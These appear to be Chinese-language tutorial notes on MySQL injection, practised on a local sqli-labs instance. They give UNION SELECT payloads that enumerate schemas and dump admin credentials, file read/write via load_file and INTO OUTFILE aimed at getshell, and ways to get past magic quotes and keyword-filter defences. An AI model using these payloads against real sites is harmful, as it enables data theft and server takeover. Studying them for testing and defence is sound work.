前言
MYSQL 注入中首先要明确当前注入点权限,高权限注入时有更多的 攻击手法,有的能直接进行 getshell 操作。其中也会遇到很多阻碍,相关 防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需 要了解其中的手法和原理,这样才是一个合格的安全工作者。
知识点
高权限注入及低权限注入
跨库查询及应用思路
information_schema 表特性,记录库名,表名,列名对应表
获取所有数据库名: http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
获取指定 qqyw 数据库名下的表名信息: union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw‘
获取指定 qqyw 下的表名 admin 下的列名信息: union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw'
获取指定 qqyw 下的 admin 数据: union select 1,u,p from qqyw.admin
文件读写操作
load_file():读取函数
读取文件演示: select load_file(’C:/1.txt‘)
into outfile 或 into dumpfile :导出函数
写入文件演示: select ’123‘ into outfile D:/1.txt
最好使用双斜线//,防止被注释掉
常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客
路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
报错显示:输入不正确的信息,返回爆错路径
遗留文件: phpinfo.php (可以用扫描工具)
漏洞报错:网站程序 爆路径
爆破:字典爆破
常见读取文件列表:
常见写入文件问题:魔术引号开关 magic_quotes_gpc
魔术引号及常见防护
写入数据中‘ “ / 会被转移
一般采用编码或宽字节绕过 转换为hex编码
相关防注入
自带防御:魔术引号 编码绕过
内置函数:is_int等 无解
自定义关键字:str_replace ('select','error',$id)
WAF防护软件:安全狗、宝塔、阿里云盾、D盾等(原理大部分是过滤关键字,上面的自定义关键字防注入)
低版本注入配合读取或暴力
字典或读取